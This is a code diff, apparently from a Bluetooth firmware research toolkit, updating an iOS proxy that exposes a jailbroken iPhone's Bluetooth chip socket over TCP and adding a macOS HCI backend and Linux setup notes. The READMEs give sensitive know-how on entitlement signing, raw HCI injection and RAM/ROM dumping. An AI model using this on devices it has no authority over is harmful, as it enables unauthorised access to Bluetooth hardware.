continue # this is ok. just try again without error continue # this is ok. just try again without error
except Exception:
log.critical("Lost device interface, terminating receive thread...")
self.exit_requested = True
continue
# btsnoop record header data: # btsnoop record header data:
btsnoop_orig_len = len(record_data) btsnoop_orig_len = len(record_data)
@@ -194,7 +200,7 @@ class HCICore(InternalBlue):
record = (hci.parse_hci_packet(record_data), btsnoop_orig_len, btsnoop_inc_len, record = (hci.parse_hci_packet(record_data), btsnoop_orig_len, btsnoop_inc_len,
btsnoop_flags, btsnoop_drops, btsnoop_time) btsnoop_flags, btsnoop_drops, btsnoop_time)
#log.debug("_recvThreadFunc Recv: [" + str(btsnoop_time) + "] " + str(record[0])) log.debug("_recvThreadFunc Recv: [" + str(btsnoop_time) + "] " + str(record[0]))
# Write to btsnoop file: # Write to btsnoop file:
if self.write_btsnooplog: if self.write_btsnooplog:
+86 -23
View File
@@ -18,6 +18,9 @@ class iOSCore(InternalBlue):
exit(-1) exit(-1)
self.ios_addr = parts[0] self.ios_addr = parts[0]
self.ios_port = parts[1] self.ios_port = parts[1]
self.serial = False
self.doublecheck = True
self.buffer = ""
def device_list(self): def device_list(self):
""" """
@@ -37,7 +40,7 @@ class iOSCore(InternalBlue):
return device_list return device_list
def sendH4(self, h4type, data, timeout=2): def sendH4(self, h4type, data, timeout=0.5):
""" """
Send an arbitrary HCI packet by pushing a send-task into the Send an arbitrary HCI packet by pushing a send-task into the
sendQueue. This function blocks until the response is received sendQueue. This function blocks until the response is received
@@ -85,13 +88,62 @@ class iOSCore(InternalBlue):
# with ios proxy the send and receive sockets are the same # with ios proxy the send and receive sockets are the same
self.s_snoop = self.s_inject self.s_snoop = self.s_inject
return True return True
def _getLatestH4Blob(self, new_data=""):
data_out = ""
self.buffer += new_data
if len(self.buffer) > 0:
# if the buffer is too small, wait for more data
if len(self.buffer) < 5:
return (None, False)
else:
#log.info(self.buffer[0].encode("hex"))
# for ACL data the length field is at offset 3
if self.buffer[0] == '\x02':
acl_len = struct.unpack_from("h", self.buffer[3:])[0]
required_len = acl_len + 5
# for HCI cmd data the length is at offset 3 (but just one byte)
elif self.buffer[0] == '\x01':
hci_len = struct.unpack_from("b", self.buffer[3:])[0]
required_len = hci_len + 4
# for HCI event data the length is at offset 2 (one byte)
elif self.buffer[0] == '\x04':
hci_len = struct.unpack_from("b", self.buffer[2:])[0]
required_len = hci_len + 3
# for BCM data the length should always be 64
elif self.buffer[0] == '\x07':
required_len = 64
# if we don't have all the data we need, we just wait for more
if len(self.buffer) < required_len:
#log.info("Not enough data, expected %d, got %d", required_len, len(self.buffer))
return (None, False)
# might be the case that we have too much
elif len(self.buffer) > required_len:
log.info("Got too much data, expected %d, got %d", required_len, len(self.buffer))
surplus = len(self.buffer) - required_len
new_buffer = self.buffer[required_len:len(self.buffer)]
data_out = self.buffer[:-surplus]
#log.info("new_buffer: %s, data_out: %s", new_buffer.encode("hex"), data_out.encode("hex"))
self.buffer = new_buffer
return (data_out, True)
# sometimes we even have just the right amout of data
else:
#log.info("Got exactly the right amount of data")
data_out = self.buffer
self.buffer = ""
return (data_out, False)
else:
return (None, False)
def _recvThreadFunc(self): def _recvThreadFunc(self):
log.debug("Receive Thread started.") log.debug("Receive Thread started.")
if (self.write_btsnooplog): if self.write_btsnooplog:
log.warn("Writing btsnooplog is not supported with iOS.") log.warn("Writing btsnooplog is not supported with iOS.")
while not self.exit_requested: while not self.exit_requested:
@@ -100,33 +152,44 @@ class iOSCore(InternalBlue):
# read record data # read record data
try: try:
record_data = self.s_snoop.recv(1024) received_data = self.s_snoop.recv(1024)
except socket.timeout: except socket.timeout:
continue # this is ok. just try again without error continue # this is ok. just try again without error
# because the iOS socket is rather unreliable (blame the iOS proxy developer) we
# need to do some length checks and get the H4/HCI data in the right format
#log.info("H4 Data received")
#log.info(received_data.encode('hex'))
(record_data, is_more) = self._getLatestH4Blob(new_data=received_data)
while record_data is not None:
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
record = (hci.parse_hci_packet(record_data), 0, 0, 0, 0, 0)
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py. log.debug("Recv: " + str(record[0]))
record = (hci.parse_hci_packet(record_data), 0, 0, 0, 0, 0) #TODO not sure if this causes trouble?
log.debug("Recv: " + str(record[0])) # Put the record into all queues of registeredHciRecvQueues if their
# filter function matches.
for queue, filter_function in self.registeredHciRecvQueues: # TODO filter_function not working with bluez modifications
try:
queue.put(record, block=False)
except Queue.Full:
log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
# Put the record into all queues of registeredHciRecvQueues if their # Call all callback functions inside registeredHciCallbacks and pass the
# filter function matches. # record as argument.
for queue, filter_function in self.registeredHciRecvQueues: # TODO filter_function not working with bluez modifications for callback in self.registeredHciCallbacks:
try: callback(record)
queue.put(record, block=False)
except Queue.Full:
log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
# Call all callback functions inside registeredHciCallbacks and pass the # Check if the stackDumpReceiver has noticed that the chip crashed.
# record as argument. if self.stackDumpReceiver.stack_dump_has_happend:
for callback in self.registeredHciCallbacks: # A stack dump has happend!
callback(record) log.warn("recvThreadFunc: The controller send a stack dump. stopping..")
self.exit_requested = True
# Check if the stackDumpReceiver has noticed that the chip crashed.
if self.stackDumpReceiver.stack_dump_has_happend: (record_data, is_more) = self._getLatestH4Blob()
# A stack dump has happend! if not is_more:
log.warn("recvThreadFunc: The controller send a stack dump. stopping..") break
self.exit_requested = True
log.debug("Receive Thread terminated.") log.debug("Receive Thread terminated.")
+199
View File
@@ -0,0 +1,199 @@
#!/usr/bin/env python2
import socket
import Queue
import hci
from pwn import *
from core import InternalBlue
import objc
import binascii
import os
filepath = os.path.dirname(os.path.abspath(__file__))
objc.initFrameworkWrapper("IOBluetoothExtended",
frameworkIdentifier="de.tu-darmstadt.seemoo.IOBluetoothExtended",
frameworkPath=objc.pathForFramework(filepath+"/../macos-framework/IOBluetoothExtended.framework"),
globals=globals())
class macOSCore(InternalBlue):
NSNotificationCenter = objc.lookUpClass('NSNotificationCenter')
def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory="."):
super(macOSCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory=".")
self.doublecheck = False
self.iobe = None
def device_list(self):
"""
Get a list of connected devices
"""
if self.exit_requested:
self.shutdown()
if self.running:
log.warn("Already running. Call shutdown() first!")
return []
# assume that a explicitly specified iPhone exists
device_list = [(self, "mac", "mac")]
return device_list
def sendH4(self, h4type, data, timeout=2):
"""
Send an arbitrary HCI packet by pushing a send-task into the
sendQueue. This function blocks until the response is received
or the timeout expires. The return value is the Payload of the
HCI Command Complete Event which was received in response to
the command or None if no response was received within the timeout.
"""
queue = Queue.Queue(1)
try:
self.sendQueue.put((h4type, data, queue, None), timeout=timeout)
ret = queue.get(timeout=timeout)
return ret
except Queue.Empty:
log.warn("sendH4: waiting for response timed out!")
return None
except Queue.Full:
log.warn("sendH4: send queue is full!")
return None
def local_connect(self):
if not self._setupSockets():
log.critical("No connection to target device.")
self._teardownSockets()
return True
def _setupSockets(self):
self.hciport = random.randint(60000, 65535-1)
log.debug("_setupSockets: Selected random ports snoop=%d and inject=%d" % (self.hciport, self.hciport + 1))
log.info("Wireshark configuration (on Loopback interface): udp.port == %d || udp.port == %d" % (self.hciport, self.hciport + 1))
# Create s_snoop socket
self.s_snoop = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.s_snoop.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.s_snoop.bind(('127.0.0.1', self.hciport))
self.s_snoop.settimeout(0.5)
self.s_snoop.setblocking(True)
# Create s_inject
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.s_inject.settimeout(0.5)
self.s_inject.setblocking(True)
# Create IOBluetoothExtended Object that listens for commands,
# sends them to the Bluetooth chip and replies via UDP socket.
self.iobe = IOBE.alloc().initWith_and_(str(self.hciport+1), str(self.hciport))
time.sleep(0.5)
return True
def _recvThreadFunc(self):
log.debug("Receive Thread started.")
while not self.exit_requested:
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
context.log_level = self.log_level
# read record data
try:
data, addr = self.s_snoop.recvfrom(1024)
record_data = data
except socket.timeout:
continue # this is ok. just try again without error
if not self.exit_requested:
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
record = (hci.parse_hci_packet(record_data), 0, 0, 0, 0, 0) #TODO not sure if this causes trouble?
log.debug("Recv: " + str(record[0]))
# Put the record into all queues of registeredHciRecvQueues if their
# filter function matches.
for queue, filter_function in self.registeredHciRecvQueues: # TODO filter_function not working with bluez modifications
try:
queue.put(record, block=False)
except Queue.Full:
log.warn("recvThreadFunc: A recv queue is full. dropping packets..>" + record_data)
# Call all callback functions inside registeredHciCallbacks and pass the
# record as argument.
for callback in self.registeredHciCallbacks:
callback(record)
log.debug("Receive Thread terminated.")
def _sendThreadFunc(self):
log.debug("Send Thread started.")
while not self.exit_requested:
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
context.log_level = self.log_level
# Wait for 'send task' in send queue
try:
task = self.sendQueue.get(timeout=0.5)
except Queue.Empty:
continue
# Extract the components of the task
h4type, data, queue, filter_function = task
# Prepend UART TYPE and length.
out = p8(h4type) + p8(len(data)) + data
# Send command to the chip using IOBluetoothExtended framework
h4type, data, queue, filter_function = task
opcode = binascii.hexlify(data[1]) + binascii.hexlify(data[0])
log.debug("Sending command: 0x" + binascii.hexlify(data) + ", opcode: " + opcode)
# if the caller expects a response: register a queue to receive the response
if queue is not None and filter_function is not None:
recvQueue = Queue.Queue(1)
self.registerHciRecvQueue(recvQueue, filter_function)
# Sending command
self.s_inject.sendto(out, ('127.0.0.1', self.hciport+1))
# if the caller expects a response:
# Wait for the HCI event response by polling the recvQueue
if queue is not None and filter_function is not None:
try:
record = recvQueue.get(timeout=10)
hcipkt = record[0]
data = hcipkt.data
except Queue.Empty:
log.warn("_sendThreadFunc: No response from the firmware.")
data = None
self.unregisterHciRecvQueue(recvQueue)
continue
queue.put(data)
self.unregisterHciRecvQueue(recvQueue)
log.debug("Send Thread terminated.")
def enableBroadcomDiagnosticLogging(self, enable):
return
def _teardownSockets(self):
if self.s_inject is not None:
self.s_inject.close()
self.s_inject = None
if self.s_snoop is not None:
self.s_snoop.close()
self.s_snoop = None
return True
def shutdown(self):
self.iobe.shutdown()
socket.socket(socket.AF_INET, socket.SOCK_DGRAM).sendto(
"", ('127.0.0.1', self.s_snoop.getsockname()[1]))
super(macOSCore, self).shutdown()
+24 -6
View File
@@ -1,5 +1,9 @@
# internalblue-ios-proxy # internalblue-ios-proxy
This project is a proxy that redirects iOS's bluetooth socket and exposes it as a TCP socket which can be used to send HCI commands to the bluetooth controller of the device. A jailbroken device is required. To compile the project, a Mac with xcode is required. This project is a proxy that redirects the *iOS* Bluetooth socket and exposes it as a
TCP socket which can be used to send HCI commands to the Bluetooth controller of the device.
A jailbroken device is required. To compile the project, a Mac with xcode is required.
The precompiled `ios-proxy` binary was tested on the iPhone 6 (12.1.2, 12.4), iPhone SE (12.4),
iPhone 7 (12.1.2, 12.4), and iPhone X (12.4).
## Building internalblue-ios-proxy ## Building internalblue-ios-proxy
Open the project with xcode and compile it. Xcode will create a single binary that can then be transferred onto the device. Open the project with xcode and compile it. Xcode will create a single binary that can then be transferred onto the device.
@@ -7,14 +11,28 @@ Open the project with xcode and compile it. Xcode will create a single binary th
## Installing internalblue-ios-proxy ## Installing internalblue-ios-proxy
1. Right-click the `internalblue-ios-proxy` binary and click "Show in Finder". This will open the location the compiled binary resides in. 1. Right-click the `internalblue-ios-proxy` binary and click "Show in Finder". This will open the location the compiled binary resides in.
2. Move the binary onto the device (e.g. with scp) at a location where applications are allowed to be executed (e.g. `/bin` or `/sbin`). 2. Move the binary onto the device (e.g. with scp) at a location where applications are allowed to be executed (e.g. `/bin` or `/sbin`).
3. The binary needs the `platform-application` entitlement. This is achieved by signing the binary with the included `entitlements.xml` file. Sign it using `ldid -Sentitlements.xml internalblue-ios-proxy`. `ldid` should be on a jailbroken device with Cydia by default. 3. The binary needs the `platform-application` entitlement. This is achieved by signing the binary with the included `entitlements.xml` file.
Sign it using `ldid -Sentitlements.xml internalblue-ios-proxy`. `ldid` should be on a jailbroken device with Cydia by default.
If `ldid` was not installed with your jailbreak, try opening [sileo://package/ldid](sileo://package/ldid).
## Running internalblue-ios-proxy ## Running internalblue-ios-proxy
Run the proxy by executing `internalblue-ios-proxy <port-number>`. The phone will then listen on this port and can be accessed either when on the same WiFi or by proxying the port through USB (using [usbmuxd](https://iphonedevwiki.net/index.php/SSH_Over_USB)). Run the proxy by executing `internalblue-ios-proxy <port-number>`.
The phone will then listen on this port and can be accessed either when on the same Wi-Fi or
by proxying the port through USB (using [usbmuxd](https://iphonedevwiki.net/index.php/SSH_Over_USB)).
When enabling a personal hotspot, you can also run `dhclient` on *Linux* on the new local ethernet interface.
A few things to note: A few things to note:
- to increase reliability of the proxy, bluetooth should be disabled (either by manually stopping the bluetoothd daemon or by shutting of bluetooth in the settings on the phone) - To increase reliability of the proxy, *Bluetooth should be disabled*
- in case the bluetooth chip crashes or does not respond anymore over the proxy, the proxy should be stopped and bluetooth should be turned off and on again in the UI (either by manually stopping the Bluetooth daemon or by shutting of Bluetooth in the
- sometimes the bluetooth socket will not respond anymore after establishing a second connection, just restart the proxy then. settings on the phone). Despite shutting down Bluetooth, the RAM will still have the same contents
as during previous usage, and you can analyze it.
- The current implementation sometimes returns wrong results, thus we double-check results of
commands that read ROM/RAM. We show warnings, but firmware dumps should complete nonetheless.
- To get sufficient performance, access the `ios-proxy` over USB and not using Wi-Fi.
- In case the Bluetooth chip crashes or does not respond anymore over the proxy,
the proxy should be stopped and Bluetooth should be turned off and on again in the UI.
- Sometimes the Bluetooth socket will not respond anymore after establishing a second connection,
just restart the proxy then.
This project is based on Brandon Azad's [iOS command line tool](https://github.com/bazad/ios-command-line-tool) template. This project is based on Brandon Azad's [iOS command line tool](https://github.com/bazad/ios-command-line-tool) template.
@@ -50,7 +50,7 @@ int connect_bt_device() {
struct termios term; struct termios term;
if (socket_fd == 0) { if (socket_fd == 0) {
printf("unable to get bluetooth socket\n"); printf("[!] Unable to get Bluetooth socket\n");
return -1; return -1;
} }
@@ -58,8 +58,8 @@ int connect_bt_device() {
ctl_inf->ctl_id = 0; ctl_inf->ctl_id = 0;
strcpy(ctl_inf->ctl_name, "com.apple.uart.bluetooth"); strcpy(ctl_inf->ctl_name, "com.apple.uart.bluetooth");
if ((error = ioctl(socket_fd, CTLIOCGINFO, ctl_inf))) { if ((error = ioctl(socket_fd, CTLIOCGINFO, ctl_inf))) {
printf("ioctl(CTLIOCGINFO) = %d - errno: %d\n", error, errno); printf("[!] ioctl(CTLIOCGINFO) = %d - errno: %d\n", error, errno);
printf("error: %s\n", strerror(errno)); printf("[!] error: %s\n", strerror(errno));
return -1; return -1;
} }
@@ -67,27 +67,27 @@ int connect_bt_device() {
*(int *)&sock_addr.sa_data[2] = ctl_inf->ctl_id; *(int *)&sock_addr.sa_data[2] = ctl_inf->ctl_id;
ret = connect(socket_fd, &sock_addr, 0x20); ret = connect(socket_fd, &sock_addr, 0x20);
if (ret != 0) { if (ret != 0) {
printf("connect() = %d - errno: %d\n", ret, errno); printf("[!] connect() = %d - errno: %d\n", ret, errno);
printf("error: %s\n", strerror(errno)); printf("[!] error: %s\n", strerror(errno));
return -1; return -1;
} }
printf("Connected to bt device\n"); printf("[*] Connected to Bluetooth chip H4 socket\n");
socklen_t len = 72; socklen_t len = 72;
ret = getsockopt(socket_fd, 2, TIOCGETA, &term, &len); ret = getsockopt(socket_fd, 2, TIOCGETA, &term, &len);
if (ret != 0) { if (ret != 0) {
printf("getsockopt(TIOCGETA) = %d - errno: %d\n", ret, errno); printf("[!] getsockopt(TIOCGETA) = %d - errno: %d\n", ret, errno);
printf("error: %s\n", strerror(errno)); printf("[!] error: %s\n", strerror(errno));
return -1; return -1;
} }
cfmakeraw(&term); cfmakeraw(&term);
ret = cfsetspeed(&term, 3000000); ret = cfsetspeed(&term, 3000000);
if (ret != 0) { if (ret != 0) {
printf("cfsetspeed() = %d - errno: %d\n", ret, errno); printf("[!] cfsetspeed() = %d - errno: %d\n", ret, errno);
printf("error: %s\n", strerror(errno)); printf("[!] error: %s\n", strerror(errno));
return -1; return -1;
} }
@@ -95,13 +95,12 @@ int connect_bt_device() {
term.c_cflag = 232192; term.c_cflag = 232192;
ret = setsockopt(socket_fd, 2, TIOCSETA, &term, 0x48); ret = setsockopt(socket_fd, 2, TIOCSETA, &term, 0x48);
if (ret != 0) { if (ret != 0) {
printf("setsockopt() = %d - errno: %d\n", ret, errno); printf("[!] setsockopt() = %d - errno: %d\n", ret, errno);
printf("error: %s\n", strerror(errno)); printf("[!] error: %s\n", strerror(errno));
return -1; return -1;
} }
tcflush(socket_fd, 3); tcflush(socket_fd, 3);
free(ctl_inf); free(ctl_inf);
return socket_fd; return socket_fd;
@@ -115,7 +114,7 @@ int create_server(int port) {
server_fd = socket(AF_INET, SOCK_STREAM, 0); server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd < 0) { if (server_fd < 0) {
printf("Unable to create server socket\n"); printf("[!] Unable to create server socket\n");
return -1; return -1;
} }
@@ -127,16 +126,16 @@ int create_server(int port) {
setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &on, 4); setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &on, 4);
if (bind(server_fd, (struct sockaddr *)&server, sizeof(server)) < 0) { if (bind(server_fd, (struct sockaddr *)&server, sizeof(server)) < 0) {
printf("Error binding socket\n"); printf("[!] Error binding socket\n");
return -1; return -1;
} }
if (listen(server_fd, 5) < 0) { if (listen(server_fd, 5) < 0) {
printf("Failed listening: %s\n", strerror(errno)); printf("[!] Failed listening on port %d, Error: %s\n", port, strerror(errno));
return -1; return -1;
} }
printf("Listening on port %d\n", port); printf("[*] Listening on port %d\n", port);
return server_fd; return server_fd;
} }
@@ -150,82 +149,58 @@ int wait_for_connection(int server_fd) {
client_fd = accept(server_fd, (struct sockaddr *)&client, (socklen_t *)&len); client_fd = accept(server_fd, (struct sockaddr *)&client, (socklen_t *)&len);
if (client_fd < 0) { if (client_fd < 0) {
printf("Accepting connection failed\n"); printf("[!] Accepting connection failed\n");
return -1; return -1;
} }
return client_fd; return client_fd;
} }
size_t buffered_write(int fd, char *buf, int *len)
{
size_t x = write(fd, buf, *len);
if (x < 0)
return x;
if (x == 0)
return x;
if (x != *len)
memmove(buf, buf+x, (*len)-x);
*len -= x;
return x;
}
void proxy_bt_socket(int client, int bt) { void proxy_bt_socket(int client, int bt) {
char *client_buf, *bt_buf; char *client_buf, *bt_buf;
int nfds; int nfds, x;
fd_set R; fd_set R;
int client_out = 0;
int bt_out = 0;
int x;
size_t n; size_t n;
client_buf = malloc(1024); client_buf = malloc(0x2000);
bt_buf = malloc(1024); bt_buf = malloc(0x2000);
nfds = client > bt ? client : bt; nfds = client > bt ? client : bt;
nfds++; nfds++;
while(1) { while(1) {
struct timeval to; struct timeval to;
if (client_out) {
buffered_write(bt, client_buf, &client_out);
}
if (bt_out) {
buffered_write(client, bt_buf, &bt_out);
}
FD_ZERO(&R); FD_ZERO(&R);
if (client_out < 1024) FD_SET(client, &R);
FD_SET(client, &R); FD_SET(bt, &R);
if (bt_out < 1024)
FD_SET(bt, &R);
to.tv_sec = 0; to.tv_sec = 0;
to.tv_usec = 1000; to.tv_usec = 100;
x = select(nfds+1, &R, 0, 0, &to); x = select(nfds+1, &R, 0, 0, &to);
if (x > 0) { if (x > 0) {
if (FD_ISSET(client, &R)) { if (FD_ISSET(client, &R)) {
n = read(client, client_buf+client_out, 1024-client_out); n = read(client, client_buf, 4096);
if (n > 0) { if (n > 0) {
client_out += n; write(bt, client_buf, n);
} else { } else {
close(client); close(client);
printf("Client read failed\n"); printf("[!] Client read failed\n");
return; return;
} }
} }
if (FD_ISSET(bt, &R)) { if (FD_ISSET(bt, &R)) {
n = read(bt, bt_buf+bt_out, 1024-bt_out); n = read(bt, bt_buf, 4096);
if (n > 0) { if (n > 0) {
bt_out += n; write(client, bt_buf, n);
} else { } else {
close(client); close(client);
printf("BT read failed\n"); printf("[!] H4 socket read failed\n");
return; return;
} }
} }
} else if (x < 0 && errno != EINTR){ } else if (x < 0 && errno != EINTR){
printf("Select failed with %s\n", strerror(errno)); printf("[!] Select failed with %s\n", strerror(errno));
close(client); close(client);
return; return;
} }
@@ -250,32 +225,36 @@ int main(int argc, char **argv) {
port = atoi(argv[1]); port = atoi(argv[1]);
// wake BT device while (1) {
btwake_fd = open("/dev/btwake", 0); // wake BT device
btwake_fd = open("/dev/btwake", 0);
bt_fd = connect_bt_device();
if (bt_fd < 0) {
printf("[!] Error connecting to bluetooth device\n");
return -1;
}
server_fd = create_server(port);
if (server_fd < 0) {
printf("[!] Unable to create proxy server\n");
return -1;
}
printf("[*] Created proxy server\n");
signal(SIGINT, __exit);
bt_fd = connect_bt_device(); printf("[*] Waiting for remote connection\n");
if (bt_fd < 0) {
printf("Error connecting to bluetooth device\n");
return -1;
}
server_fd = create_server(port);
if (server_fd < 0) {
printf("Unable to create server\n");
return -1;
}
printf("Created server\n");
signal(SIGINT, __exit);
while (1) {
printf("Waiting for connection\n");
client_fd = wait_for_connection(server_fd); client_fd = wait_for_connection(server_fd);
if (client_fd < 0) if (client_fd < 0)
continue; printf("[!] Unable to connect remote device to proxy\n");
// currently only one connection is supported
// currently only one connection is supported
proxy_bt_socket(client_fd, bt_fd); proxy_bt_socket(client_fd, bt_fd);
close(client_fd); close(client_fd);
close(server_fd);
close(bt_fd);
close(btwake_fd);
} }
return 0; return 0;
Binary file not shown.
+81
View File
@@ -0,0 +1,81 @@
Linux Setup
-----------
The following steps are required to use the CYW20735B1 evaluation kit as normal HCI device on Linux with BlueZ.
**1. Setup as HCI device**
You need to set the baud rate to 3 Mbit/s. Replace `/dev/ttyUSB0` with your device.
btattach -B /dev/ttyUSB0 -S 3000000
If this does not work directly, use:
stty -F /dev/ttyUSB0 3000000
btattach -B /dev/ttyUSB0
Sometimes, you need to plug/unplug the evaluation board multiple times and run a combination of the commands above.
If setup was successful can be checked with `hciconfig`. A MAC address with all zeros indicates that the baud rate
was not set correctly and you need to try again.
**2. Use with BlueZ**
Assuming that you already have a regular Bluetooth device, you new device is `hci1`.
hciconfig hci1 up
You can list your HCI devices:
hcitool dev
**3. Command line tools for connections**
Scanning for devices:
hcitool scan
hcitool lescan
Connections and pairing:
bluetoothctl
Enter into `bluetoothctl` command prompt:
power on
agent on
default-agent
scan on
Optional - accept connections:
advertise on
pairable on
discoverable on
Do a pairing and then connect:
pair aa:bb:cc:dd:ee:ff
connect aa:bb:cc:dd:ee:ff
Diagnostics
-----------
On some devices, diagnostic logging for LMP and LCP already works out of the box.
Note that diagnostics can do more, but the additional features are currently not
integrated into *BlueZ* or the Linux kernel.
To enable diagnostics, execute:
echo 1 > /sys/kernel/debug/bluetooth/hci0/vendor_diag
By default, this entry is only created for Intel and Broadcom chips.
The evaluation board claims to be Cypress, a different vendor ID, thus
the vendor diagnostics are missing.
*BlueZ* already comes with a monitor that decodes some parts of the diagnostic
traffic, simply run:
btmon
@@ -0,0 +1,532 @@
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 50;
objects = {
/* Begin PBXBuildFile section */
8C3047E2231D7CAE0003E282 /* HCIDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C3047E1231D7CAE0003E282 /* HCIDelegate.m */; };
8C3047EA231DCDE30003E282 /* HCIDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 8C3047E9231DCDE30003E282 /* HCIDelegate.swift */; };
8C31742A22D1049E004B9604 /* IOBluetoothExtended.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */; };
8C31742F22D1049E004B9604 /* IOBluetoothExtendedTests.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C31742E22D1049E004B9604 /* IOBluetoothExtendedTests.m */; };
8C31743122D1049E004B9604 /* IOBluetoothExtended.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C31742322D1049D004B9604 /* IOBluetoothExtended.h */; settings = {ATTRIBUTES = (Public, ); }; };
8C3174AF22D10E11004B9604 /* HCIDelegate.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C31743A22D104DA004B9604 /* HCIDelegate.h */; settings = {ATTRIBUTES = (Public, ); }; };
8C3174B122D10E4C004B9604 /* IOBluetoothHostController.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C31744122D10516004B9604 /* IOBluetoothHostController.h */; settings = {ATTRIBUTES = (Public, ); }; };
8C57A7432333A6E100037C3D /* HCICommunicator.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C57A7422333A6E100037C3D /* HCICommunicator.m */; };
8C57A7442333A7C400037C3D /* HCICommunicator.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C57A7412333A6D000037C3D /* HCICommunicator.h */; settings = {ATTRIBUTES = (Public, ); }; };
8C72A82823339457001A9806 /* IOBE.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C72A82723339457001A9806 /* IOBE.m */; };
8CE61E5D232AE8D20086419F /* Extensions.swift in Sources */ = {isa = PBXBuildFile; fileRef = 8CE61E5C232AE8D20086419F /* Extensions.swift */; };
/* End PBXBuildFile section */
/* Begin PBXContainerItemProxy section */
8C31742B22D1049E004B9604 /* PBXContainerItemProxy */ = {
isa = PBXContainerItemProxy;
containerPortal = 8C31741722D1049D004B9604 /* Project object */;
proxyType = 1;
remoteGlobalIDString = 8C31741F22D1049D004B9604;
remoteInfo = IOBluetoothExtended;
};
/* End PBXContainerItemProxy section */
/* Begin PBXFileReference section */
8C3047E1231D7CAE0003E282 /* HCIDelegate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = HCIDelegate.m; sourceTree = "<group>"; };
8C3047E9231DCDE30003E282 /* HCIDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = HCIDelegate.swift; sourceTree = "<group>"; };
8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = IOBluetoothExtended.framework; sourceTree = BUILT_PRODUCTS_DIR; };
8C31742322D1049D004B9604 /* IOBluetoothExtended.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOBluetoothExtended.h; sourceTree = "<group>"; };
8C31742422D1049D004B9604 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
8C31742922D1049E004B9604 /* IOBluetoothExtendedTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = IOBluetoothExtendedTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; };
8C31742E22D1049E004B9604 /* IOBluetoothExtendedTests.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = IOBluetoothExtendedTests.m; sourceTree = "<group>"; };
8C31743022D1049E004B9604 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
8C31743A22D104DA004B9604 /* HCIDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = HCIDelegate.h; sourceTree = "<group>"; };
8C31744122D10516004B9604 /* IOBluetoothHostController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOBluetoothHostController.h; sourceTree = "<group>"; };
8C57A7412333A6D000037C3D /* HCICommunicator.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = HCICommunicator.h; sourceTree = "<group>"; };
8C57A7422333A6E100037C3D /* HCICommunicator.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = HCICommunicator.m; sourceTree = "<group>"; };
8C72A82723339457001A9806 /* IOBE.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = IOBE.m; sourceTree = "<group>"; };
8C72A8322333A100001A9806 /* IOBE.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOBE.h; sourceTree = "<group>"; };
8CE61E5C232AE8D20086419F /* Extensions.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Extensions.swift; sourceTree = "<group>"; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
8C31741D22D1049D004B9604 /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
8C31742622D1049E004B9604 /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
8C31742A22D1049E004B9604 /* IOBluetoothExtended.framework in Frameworks */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXFrameworksBuildPhase section */
/* Begin PBXGroup section */
8C31741622D1049D004B9604 = {
isa = PBXGroup;
children = (
8C31742222D1049D004B9604 /* IOBluetoothExtended */,
8C31742D22D1049E004B9604 /* IOBluetoothExtendedTests */,
8C31742122D1049D004B9604 /* Products */,
);
sourceTree = "<group>";
};
8C31742122D1049D004B9604 /* Products */ = {
isa = PBXGroup;
children = (
8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */,
8C31742922D1049E004B9604 /* IOBluetoothExtendedTests.xctest */,
);
name = Products;
sourceTree = "<group>";
};
8C31742222D1049D004B9604 /* IOBluetoothExtended */ = {
